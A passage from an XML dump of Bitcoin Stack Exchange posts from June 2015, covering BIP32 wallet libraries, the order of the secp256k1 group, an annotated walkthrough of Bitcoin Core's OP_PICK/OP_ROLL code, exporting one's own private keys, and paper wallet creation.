at&#xA;  &lt;a href=&quot;https://github.com/oleganza/CoreBitcoin/blob/master/CoreBitcoin/BTCKeychain.h&quot; rel=&quot;nofollow&quot;&gt;https://github.com/oleganza/CoreBitcoin/blob/master/CoreBitcoin/BTCKeychain.h&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A Ruby implementation is available at&#xA;  &lt;a href=&quot;https://github.com/GemHQ/money-tree&quot; rel=&quot;nofollow&quot;&gt;https://github.com/GemHQ/money-tree&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Two Go implementations exist:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;hdkeychain&#xA;  (&lt;a href=&quot;https://github.com/conformal/btcutil/tree/master/hdkeychain&quot; rel=&quot;nofollow&quot;&gt;https://github.com/conformal/btcutil/tree/master/hdkeychain&lt;/a&gt;) provides&#xA;  an API for bitcoin hierarchical deterministic extended keys (BIP0032).&#xA;  Go HD Wallet (&lt;a href=&quot;https://github.com/WeMeetAgain/go-hdwallet&quot; rel=&quot;nofollow&quot;&gt;https://github.com/WeMeetAgain/go-hdwallet&lt;/a&gt;).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Two JavaScript implementations exist: available at&#xA;  &lt;a href=&quot;https://github.com/sarchar/brainwallet.github.com/tree/bip32&quot; rel=&quot;nofollow&quot;&gt;https://github.com/sarchar/brainwallet.github.com/tree/bip32&lt;/a&gt; and&#xA;  &lt;a href=&quot;https://github.com/bitpay/bitcore&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitpay/bitcore&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP implemetation is available at&#xA;  &lt;a href=&quot;https://github.com/Bit-Wasp/bitcoin-lib-php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Bit-Wasp/bitcoin-lib-php&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A C# implementation is available at&#xA;  &lt;a href=&quot;https://github.com/NicolasDorier/NBitcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/NicolasDorier/NBitcoin&lt;/a&gt; (ExtKey, ExtPubKey)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A Haskell implementation is available at&#xA;  &lt;a href=&quot;https://github.com/haskoin/haskoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/haskoin/haskoin&lt;/a&gt; together with a CLI interface at&#xA;  &lt;a href=&quot;https://github.com/np/hx&quot; rel=&quot;nofollow&quot;&gt;https://github.com/np/hx&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;you should &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki#implementations&quot; rel=&quot;nofollow&quot;&gt;check the documentation&lt;/a&gt; rather than relying on my copy here though, since my copy will go out of date over time&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2116" LastActivityDate="2015-06-20T05:23:07.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38108" PostTypeId="1" AcceptedAnswerId="38122" CreationDate="2015-06-20T07:31:01.337" Score="6" ViewCount="4239" Body="&lt;p&gt;points on curve secp256k1 form a group E(Fp) over field Fp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p = 2^256 - 2^32 - 2^9 - 2^8 - 2^7 - 2^6 - 2^4 - 1  is prime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;n is the order of group E, &#xA;n=115792089237316195423570985008687907852837564279074904382605163141518161494337&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is n prime too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is E(Fp) a cyclic group?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theorem. &#xA;Working over a finite field, the group of points E(Fp) is always either a cyclic group or the product of two cyclic groups.&lt;/p&gt;&#xA;" OwnerUserId="26390" LastEditorUserId="2306" LastEditDate="2015-06-20T07:54:39.553" LastActivityDate="2022-07-07T20:19:54.697" Title="order of group of points of secp256k1" Tags="|secp256k1|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38109" PostTypeId="2" ParentId="38106" CreationDate="2015-06-20T09:20:30.607" Score="1" Body="&lt;p&gt;Try &lt;code&gt;getbalance &quot;*&quot; 0 true&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;help of getbalance says: &lt;code&gt;getbalance ( &quot;account&quot; minconf includeWatchonly )&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-06-20T09:20:30.607" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38111" PostTypeId="1" AcceptedAnswerId="38113" CreationDate="2015-06-20T13:58:53.227" Score="2" ViewCount="594" Body="&lt;p&gt;i want to use a hierarchical deterministic (bip32) wallet but i'm a bit put off by a lot of the libraries which use different ecdsa libraries to the core &lt;code&gt;bitcoind&lt;/code&gt; client. for example pycoin uses a &lt;a href=&quot;https://github.com/richardkiss/pycoin/blob/master/pycoin/ecdsa/ellipticcurve.py&quot; rel=&quot;nofollow&quot;&gt;natively implemented elliptic curve library&lt;/a&gt;, &lt;a href=&quot;https://github.com/jmcorgan/bip32utils&quot; rel=&quot;nofollow&quot;&gt;bip32utils&lt;/a&gt; uses &lt;a href=&quot;https://github.com/warner/python-ecdsa&quot; rel=&quot;nofollow&quot;&gt;python's ecdsa library&lt;/a&gt; (i think).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;while i'm sure these implementations work extremely well, i'm worried that there may be some rare edge cases where they diverge from &lt;code&gt;openssl&lt;/code&gt;'s ecdsa implementation.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;are there plans to implement a deterministic wallet in &lt;code&gt;bitcoind&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;are there any bip32 wallets which call already-existing-functions in &lt;code&gt;bitcoind&lt;/code&gt; wherever possible?&lt;/li&gt;&#xA;&lt;li&gt;if not then what level of risk is involved in using bip32 wallets which rely on non-&lt;code&gt;openssl&lt;/code&gt; ecdsa libraries?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;p.s. i get that &lt;code&gt;openssl&lt;/code&gt;'s implementation of ecdsa is &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0066.mediawiki&quot; rel=&quot;nofollow&quot;&gt;also not perfect&lt;/a&gt;, but it seems to me that consistency (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=260595.msg2780720#msg2780720&quot; rel=&quot;nofollow&quot;&gt;even to the point of reproducing a bug&lt;/a&gt;) is crucial with bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2015-06-20T14:31:45.957" LastActivityDate="2015-06-20T16:15:27.667" Title="bip 32 wallet with openssl" Tags="|bip32-hd-wallets|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38112" PostTypeId="2" ParentId="38105" CreationDate="2015-06-20T15:00:45.130" Score="0" Body="&lt;p&gt;if you are on linux then you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli dumpprivkey youraddress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where you replace &lt;code&gt;youraddress&lt;/code&gt; with your actual bitcoin address. do this for as many addresses as you have to get the private key for each of them.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastActivityDate="2015-06-20T15:00:45.130" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38113" PostTypeId="2" ParentId="38111" CreationDate="2015-06-20T16:09:43.853" Score="2" Body="&lt;p&gt;You would be best off using something that links to &lt;code&gt;libsecp256k1&lt;/code&gt; than &lt;code&gt;openssl&lt;/code&gt;, which is in the process of being dropped in Bitcoin Core due to endless security concerns anyway. I'm not aware of any that do, but I will update this answer if I find any. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;are there plans to implement a deterministic wallet in bitcoind?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Possibly, there's currently some planning going on with this, its at least likely that the current wallet will be deprecated and replaced with something more separate from the actual daemon. The current wallet is very heavily tied into the client in a lot of places, and has some massive dependencies like BerkeleyDB which are completely overkill for a key value store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current train of thought and some code is partly mixed into the &lt;a href=&quot;http://bitcoinstats.com&quot; rel=&quot;nofollow&quot;&gt;bitcoin-dev logs&lt;/a&gt; and also on &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6265&quot; rel=&quot;nofollow&quot;&gt;github&lt;/a&gt;. You shouldn't be using any of this with real money though, it is likely to be unstable for a long time.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;are there any bip32 wallets which call already-existing-functions in bitcoind wherever possible?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;None I am aware of, most wallet software currently developed is either built on BitcoinJ (which numerous privacy and security considerations), querying some remote service (privacy and massive security issues), or something home brewed. Generally key management through JSON-RPC is pretty awful so that is somewhat understandable.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if not then what level of risk is involved in using bip32 wallets which rely on non-openssl ecdsa libraries?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's good you're thinking about this sort of thing to begin with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depends on the library, but the worst possible outcome is that a software implementation bug causes all of your money to be lost or stolen. This isn't unreasonable to suggest, and it happens almost constantly through the history of Bitcoin. Blockchain.info rolled their own RNG and has lost funds on a number of occasions due to it, Mt Gox wrote their own wallet and lost a pile of money when a function errored out and they sent their money to the pubkeyhash null, Bitcoin Armory found the ECDSA code they used leaked private keys through the signature. There's bound to have been more mistakes but these are the ones that have been made public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty high levels of risk, really. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-06-20T16:15:27.667" LastActivityDate="2015-06-20T16:15:27.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38115" PostTypeId="2" ParentId="37292" CreationDate="2015-06-20T16:42:49.437" Score="5" Body="&lt;p&gt;I think, it is worth to mention what Satoshi said about raising the block size...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It can be phased in, like:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;if (blocknumber &gt; 115000)&#xA;      maxblocksize = largerlimit&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It can start being in versions way ahead, so by the time it reaches&#xA;  that block number and goes into effect, the older versions that don't&#xA;  have it are already obsolete.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When we're near the cutoff block number, I can put an alert to old&#xA;  versions to make sure they know they have to upgrade.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1347.msg15366#msg15366&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=1347.msg15366#msg15366&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11722" LastEditorUserId="2306" LastEditDate="2016-08-06T18:56:26.227" LastActivityDate="2016-08-06T18:56:26.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38116" PostTypeId="2" ParentId="22764" CreationDate="2015-06-20T17:58:09.257" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://satoshidice.com/api&quot; rel=&quot;nofollow noreferrer&quot;&gt;satoshidice.com&lt;/a&gt; and &lt;a href=&quot;https://www.999dice.com/api/&quot; rel=&quot;nofollow noreferrer&quot;&gt;999dice.com&lt;/a&gt; have a huge API.&lt;/p&gt;&#xA;" OwnerUserId="26364" LastEditorUserId="26364" LastEditDate="2019-11-01T20:23:12.780" LastActivityDate="2019-11-01T20:23:12.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="38117" PostTypeId="1" AcceptedAnswerId="38119" CreationDate="2015-06-21T00:14:56.143" Score="2" ViewCount="615" Body="&lt;p&gt;OP_PICK should take the nth element from the back of the stack and take it on top:&#xA;for input &#xA;xn ... x2 x1 x0 &lt;br&gt;&#xA;gives&#xA;xn ... x2 x1 x0 xn  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used it in some scripts, but I've noticed some strange behaviour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, using the tool in:&#xA;&lt;a href=&quot;http://webbtc.com/script&quot; rel=&quot;nofollow&quot;&gt;http://webbtc.com/script&lt;/a&gt;&#xA;an input script&#xA;1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 3 3 3&#xA;and an output script&#xA;19 OP_PICK &#xA;produces an error.&#xA;However 18 OP_PICK works. For 25 elements in the stack it should work in both cases. &#xA;The problem doesn't seem to be the number 19. If I add one input&lt;br&gt;&#xA;1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 3 3 3 3&#xA;the scripts works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried looking at the source code, but in &#xA;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/ce56f5621a94dcc2159ebe57e43da727eab18e6c/src/script/interpreter.cpp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/ce56f5621a94dcc2159ebe57e43da727eab18e6c/src/script/interpreter.cpp&lt;/a&gt;&#xA;around line 551 I find:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            case OP_OVER:&#xA;            {&#xA;                // (x1 x2 -- x1 x2 x1)&#xA;                if (stack.size() &amp;lt; 2)&#xA;                    return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION);&#xA;                valtype vch = stacktop(-2);&#xA;                stack.push_back(vch);&#xA;            }&#xA;            break;&#xA;&#xA;            case OP_PICK:&#xA;            case OP_ROLL:&#xA;            {&#xA;                // (xn ... x2 x1 x0 n - xn ... x2 x1 x0 xn)&#xA;                // (xn ... x2 x1 x0 n - ... x2 x1 x0 xn)&#xA;                if (stack.size() &amp;lt; 2)&#xA;                    return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION);&#xA;                int n = CScriptNum(stacktop(-1), fRequireMinimal).getint();&#xA;                popstack(stack);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not really sure how OP_PICK is implemented. Can anyone point me to the code for OP_PICK or explain the errors?&lt;/p&gt;&#xA;" OwnerUserId="2281" LastEditorUserId="47827" LastEditDate="2022-07-05T13:19:27.537" LastActivityDate="2022-07-05T17:34:57.100" Title="Script. OP_PICK/OP_ROLL" Tags="|script|opcodes|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38118" PostTypeId="2" ParentId="37663" CreationDate="2015-06-21T00:29:28.527" Score="3" Body="&lt;p&gt;It is not, sadly. There was a proposal for an ALARM opcode, but it was marked WONTFIX -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ethereum/go-ethereum/issues/117&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ethereum/go-ethereum/issues/117&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see why - timers require that you keep your contract topped up with Ether, and making them too easy to create could litter the blockchain with them and impose an overhead on miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You either have to have an external caller for your function (as in chriseth's solution), or use a PHP-style &quot;poor man's cron&quot; function that you call from every function in the contract to check and see which periodic tasks should fire -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/1857741/run-php-script-every-5-10-minutes-without-cron-perl-etc&quot;&gt;https://stackoverflow.com/questions/1857741/run-php-script-every-5-10-minutes-without-cron-perl-etc&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This kind of solution can also be seen in LambdaMOO code, where events are triggered periodically only when someone speaks, but that's a bit more esoteric. ;-)&lt;/p&gt;&#xA;" OwnerUserId="1660" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2015-06-21T00:29:28.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38119" PostTypeId="2" ParentId="38117" CreationDate="2015-06-21T00:57:27.617" Score="3" Body="&lt;p&gt;Here's that source code, annotated. Each annotation refers to the code after it.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;This means that this part of the code handles both OP_PICK and OP_ROLL. This is because OP_PICK and OP_ROLL are very similar. The only difference is that PICK copies and ROLL moves.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;            case OP_PICK:&#xA;            case OP_ROLL:&#xA;            {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;These are two examples of the stack before and after. This is sometimes called a 'precondition' and a 'postcondition.'&lt;/p&gt;&#xA;&lt;p&gt;This one documents OP_PICK.&lt;/p&gt;&#xA;&lt;p&gt;Precondition: &lt;code&gt;xn ... x2 x1 x0 n&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Postcondition: &lt;code&gt;xn ... x2 x1 x0 xn&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                // (xn ... x2 x1 x0 n - xn ... x2 x1 x0 xn)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This one documents OP_ROLL.&lt;/p&gt;&#xA;&lt;p&gt;Precondition: &lt;code&gt;xn ... x2 x1 x0 n&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Postcondition: &lt;code&gt;... x2 x1 x0 xn&lt;/code&gt; (Note the lack of &lt;code&gt;xn&lt;/code&gt; at the beginning.)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                // (xn ... x2 x1 x0 n - ... x2 x1 x0 xn)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You need to have at least two elements on the stack, or this operation makes no sense.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                if (stack.size() &amp;lt; 2)&#xA;                    return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Copy (but do not remove) the top element on the stack. Interpret it as a number. Convert it to a 32-bit integer, so it's easier to work with.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                int n = CScriptNum(stacktop(-1), fRequireMinimal).getint();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now remove the top element on the stack. (Which should be n, remember.)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                popstack(stack);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If &lt;code&gt;n&lt;/code&gt; is negative, fail. If n is larger than the stack, fail. (This is where I think your script is having an error.)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                if (n &amp;lt; 0 || n &amp;gt;= (int)stack.size())&#xA;                    return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Copy the value we're after. Remember, &lt;code&gt;1 2 3 0 OP_PICK&lt;/code&gt; should get the element just below n, 3. Also, &lt;code&gt;stacktop(-1)&lt;/code&gt; refers to the top. So therefore, we need to invert n and subtract 1.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                valtype vch = stacktop(-n-1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Remember, OP_ROLL deletes the element from where it was originally. This code is not executed for OP_PICK.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                if (opcode == OP_ROLL)&#xA;                    stack.erase(stack.end()-n-1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now add the element that we just got back on the top of the stack.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                stack.push_back(vch);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We're done handling this case.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;            }&#xA;            break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Does that help?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2022-07-05T17:34:57.100" LastActivityDate="2022-07-05T17:34:57.100" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="38121" PostTypeId="2" ParentId="38100" CreationDate="2015-06-21T02:09:02.143" Score="1" Body="&lt;p&gt;If the seller, or their payment processor, saved the private key for that address, then they have access  to the coins, and would be able to refund them or accept them as your payment. (If you ever see that your transaction has been spent, you will know that this was the case). But only they can claim the coins; you have no way to get them back yourself, and if they don't want to give them back or credit them as payment, your only recourse is probably to sue them in court.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the seller or processor discarded the private key when the timeout expired, then the coins are permanently lost to everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, you will have to get in touch with the seller to learn anything further.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-06-21T02:09:02.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38122" PostTypeId="2" ParentId="38108" CreationDate="2015-06-21T03:41:38.550" Score="5" Body="&lt;p&gt;The comment stating &lt;code&gt;n&lt;/code&gt; “has to be prime” is a bit confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order of base point “has” to be prime in the sense that this is a requirement in the particular documents defining standard curves—for example, in &lt;a href=&quot;http://www.secg.org/sec2-v2.pdf&quot; rel=&quot;noreferrer&quot;&gt;SECG&lt;/a&gt;, which includes secp256k1. Bitcoin's base point order &lt;code&gt;r&lt;/code&gt; is prime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In SECG, it is also stated that cofactor of secp256k1 curve is 1, which makes &lt;code&gt;n = r × 1&lt;/code&gt;, again prime. A group of prime order is obviously cyclic.&lt;/p&gt;&#xA;" OwnerUserId="26915" LastActivityDate="2015-06-21T03:41:38.550" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38126" PostTypeId="1" CreationDate="2015-06-21T10:26:29.770" Score="1" ViewCount="340" Body="&lt;p&gt;I am looking to dump my bitcoins in safe place. So can anyone suggest me or tell me the method for creating a secure bitcoin paper wallet.&lt;/p&gt;&#xA;" OwnerUserId="26991" LastEditorUserId="2306" LastEditDate="2015-06-21T15:23:26.257" LastActivityDate="2015-06-23T10:41:40.713" Title="How to create a Safe and secure Bitcoin Paper Wallet?" Tags="|paper-wallet|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2015-06-26T12:29:11.657" ContentLicense="CC BY-SA 3.0" />
  <row Id="38130" PostTypeId="2" ParentId="38025" CreationDate="2015-06-21T10:54:01.007" Score="1" Body="&lt;p&gt;I am using perfectmoney there for funding there and it goes always instant to get credit my account balance, i think that is nice method to use there.&lt;/p&gt;&#xA;" OwnerUserId="26994" LastActivityDate="2015-06-21T10:54:01.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38131" PostTypeId="2" ParentId="36010" CreationDate="2015-06-21T10:56:33.810" Score="-1" Body="&lt;p&gt;Mining bitcoins with your own hardware is good alternative for profit . But its only possible if u have more than one machine. Also you are asking about genesis cloud mining.  As per my information, Near about all cloud mining sites are getting scam. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my advice  if u want to make profit, you can do bitcoin trading better than mining. It will make much more profit .&lt;/p&gt;&#xA;" OwnerUserId="26991" LastActivityDate="2015-06-21T10:56:33.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38133" PostTypeId="2" ParentId="1080" CreationDate="2015-06-21T11:11:27.027" Score="3" Body="&lt;p&gt;&lt;strong&gt;My favorite method:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;grab out a old/unused pc/mac&lt;/li&gt;&#xA;&lt;li&gt;install a linux over usb (maybe &lt;a href=&quot;https://tails.boum.org/index.de.html&quot; rel=&quot;nofollow&quot;&gt;Talis&lt;/a&gt;) (make sure your USB stick is clean!)&lt;/li&gt;&#xA;&lt;li&gt;download a recent version of bitcoin-core (check hash, verify gitian signatures)&lt;/li&gt;&#xA;&lt;li&gt;copy bitcoin-core over usb to your offline machine&lt;/li&gt;&#xA;&lt;li&gt;start &lt;code&gt;./bitcoind&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;./bitcoin-cli getnewaddress&lt;/code&gt; (gives you a new public key)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;./bitcoin-cli dumpprivatekey&lt;/code&gt; (gives you the corresponding private key)&lt;/li&gt;&#xA;&lt;li&gt;print or write down both strings (address can be recreated from private key, but print it anyhow)&lt;/li&gt;&#xA;&lt;li&gt;verify the printed or written down strings&lt;/li&gt;&#xA;&lt;li&gt;try to delete printers cache (power off, reset)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now you could delete/format the pc/mac.&lt;/strong&gt;&#xA;But maybe it's worth keeping your new offline computer to generate new addresses or sign transaction in a &quot;cold space/wallet&quot;.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-06-21T11:11:27.027" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38135" PostTypeId="1" CreationDate="2015-06-21T11:24:05.913" Score="2" ViewCount="1229" Body="&lt;p&gt;Some people are saying Bitcoin XT is faster and more secure, but I don't know how to migrate from Bitcoin Core to Bitcoin XT, because I have all my coins on Bitcoin Core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the steps I need to perform to safely migrate from Bitcoin Core to Bitcoin XT?&lt;/p&gt;&#xA;" OwnerUserId="26994" LastEditorUserId="5406" LastEditDate="2015-06-21T15:36:27.293" LastActivityDate="2015-06-22T17:35:52.880" Title="How do I migrate to Bitcoin XT from Bitcoin Core?" Tags="|wallet|bitcoin-core|bitcoin-xt|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38140" PostTypeId="1" CreationDate="2015-06-21T12:45:31.890" Score="2" ViewCount="888" Body="&lt;p&gt;I'm fairly new to coding, I understand the philosophy but I'm lacking practical application. Does anyone know any practical guides that will help me? I've completed most codeacademy courses.&lt;/p&gt;&#xA;" OwnerUserId="27002" LastEditorUserId="5406" LastEditDate="2019-09-30T22:21:30.090" LastActivityDate="2021-07-22T09:09:00.807" Title="What's the best way to integrate bitcoin API's into a wordpress site?" Tags="|website-integration|" AnswerCount="3" CommentCount="3" ClosedDate="2021-07-22T20:26:26.293" ContentLicense="CC BY-SA 4.0" />
  <row Id="38141" PostTypeId="2" ParentId="38140" CreationDate="2015-06-21T13:18:29.173" Score="-2" Body="&lt;p&gt;I would refer you to the following for more details and i hope you will get answer there,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.tipsandtricks-hq.com/how-to-accept-bitcoin-on-your-wordpress-site-6814&quot; rel=&quot;nofollow&quot;&gt;https://www.tipsandtricks-hq.com/how-to-accept-bitcoin-on-your-wordpress-site-6814&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27004" LastActivityDate="2015-06-21T13:18:29.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38144" PostTypeId="2" ParentId="37923" CreationDate="2015-06-21T13:49:16.520" Score="0" Body="&lt;p&gt;Surprise surprise!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smart people has done it already and made an interesting stress-test that You, my dear friend, can read about right &lt;a href=&quot;https://tradeblock.com/blog/bitcoin-network-capacity-analysis-part-5-stress-test-analysis&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; - this is &lt;strong&gt;Part 5&lt;/strong&gt; that have links to other parts as well. Probably you want to start from the beginning then have a good read!&lt;/p&gt;&#xA;" OwnerUserId="26862" LastActivityDate="2015-06-21T13:49:16.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38145" PostTypeId="1" AcceptedAnswerId="38358" CreationDate="2015-06-21T14:38:09.283" Score="5" ViewCount="767" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6176&quot; rel=&quot;nofollow&quot;&gt;This pull request&lt;/a&gt; describes first-seen replace-by-fee. How is it different from normal replace-by-fee, and how does it compare to child-pays-for-parent?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="5406" LastEditDate="2016-02-21T10:36:20.877" LastActivityDate="2020-05-22T22:54:02.630" Title="How does first seen replace by fee work?" Tags="|replace-by-fee|child-pays-for-parent|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
